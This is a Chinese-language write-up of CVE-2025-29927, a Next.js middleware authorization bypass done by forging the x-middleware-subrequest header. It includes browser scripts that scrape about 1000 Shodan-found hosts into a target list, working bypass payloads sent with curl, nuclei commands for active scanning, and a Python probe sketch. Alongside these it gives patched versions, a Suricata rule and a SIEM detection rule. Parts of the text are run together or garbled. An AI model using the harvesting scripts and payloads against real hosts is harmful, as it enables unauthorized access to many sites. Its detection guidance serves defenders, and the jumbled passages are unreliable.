简述: Next.js 中间件中的一个漏洞,允许通过伪造
x-middleware-subrequest标头绕过授权检查。
已在 shodan 中按过滤条件 http.headers:"x-middleware-rewrite" 进行搜索,并获取了一个包含 1000 个域名的列表
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
上下文与背景 在早期版本的 Next.js 中间件中,可能会向应用程序本身发起内部(子)请求。为了防止递归,框架引入了内部 HTTP 标头——内部标记,用于标记“该请求已被处理”。这种方法很实用,且能避免中间件管道中的无限循环。
中间件的演变与有效载荷 (payloads)
在 Next.js 12.2 之前,中间件位于 pages/ 内的 _middleware 中,并且可以是嵌套的(如 pages/_middleware、pages/dashboard/_middleware 等)。有效载荷可以指定具体路径(x-middleware-subrequest: pages/dashboard/_middleware)。
从 12.2 开始,中间件更名为 middleware.js/ts 并且不再位于 pages/ 内。在此情况下,简单的有效载荷 x-middleware-subrequest: middleware(或使用 src/ 时 src/middleware)通常有效。
较新版本(≥ 13.2.0)引入了额外检查,包括 MAX_RECURSION_DEPTH;在某些绕过方法中,使用了重复的值,如 middleware:middleware:... 来模拟嵌套链。
实际:有效载荷的确切格式取决于 Next.js 版本和项目结构。
修复历史与 问题 最初的快速补丁包括一个内部标识符 的概念,它在运行时生成并验证,以区分合法的内部子请求与伪造请求。 然而,该实现显示了一个副作用:这个内部 ID 可能向外泄露(例如在出站 fetch/请求中),从而引入了新风险。此外,在多 CDN/PoP 以及混合运行时(Edge vs Node)的情况下,标识符的签名/同步被证明不可靠。 结果, 相关的代码被删除/重写;最终方案是结合 Next.js 补丁和平台级缓解措施(在入口/边缘层过滤传入的内部标头)。
CVE-2025-29927x-middleware-subrequest。外部客户端可以设置此标头并绕过访问检查。x-middleware-subrequest。该字段原本用于框架内部操作,但外部请求可以设置此标头,从而绕过授权。以下版本范围易受攻击:
>= 11.1.4 且 < 12.3.5>= 13.0.0 且 < 13.5.9>= 14.0.0 且 < 14.2.25>= 15.0.0 且 < 15.2.39.1 (严重)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# 不带标头 — 预期拒绝 (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# 带伪造标头 — 如果存在漏洞,将返回 200 + 响应体
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/、package.json、标头、favicon 哈希) — 安全模式。x-middleware-subrequest 的 GET 请求并比较响应。必须使用 rate-limit 和 throttle。启动命令 (示例):
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# active (可控)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest 标头重复 → 比较状态和响应体。--concurrency、--delay、--dry-run、--respect-robots。aiohttp / asyncio 以实现高性能。简短伪代码:
async def probe(url):
r1 = await session.get(url)
r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
if significant_difference(r1, r2):
report_vulnerable(url)
>= 12.3.5、>= 13.5.9、>= 14.2.25、>= 15.2.3。x-middleware-subrequest 标头:x-middleware-subrequest 的请求发出警报并检查来源。规则/警报示例:
SIEM: 对于传入请求中带有 x-middleware-subrequest,且 source.ip 不在 trusted_proxies 中的情况发出警报。
Suricata (伪代码):
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)
x-middleware-subrequest 标头的 GET 请求,并检查响应差异(响应体/状态)。必须使用 throttle 和 rate-limit。alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies
https://github.com/<author>/CVE-2025-29927-POChttps://github.com/<author>/vulnerable-nextjs-demox-middleware-subrequest-idx-middleware-subrequest-idx-middleware-subrequest-id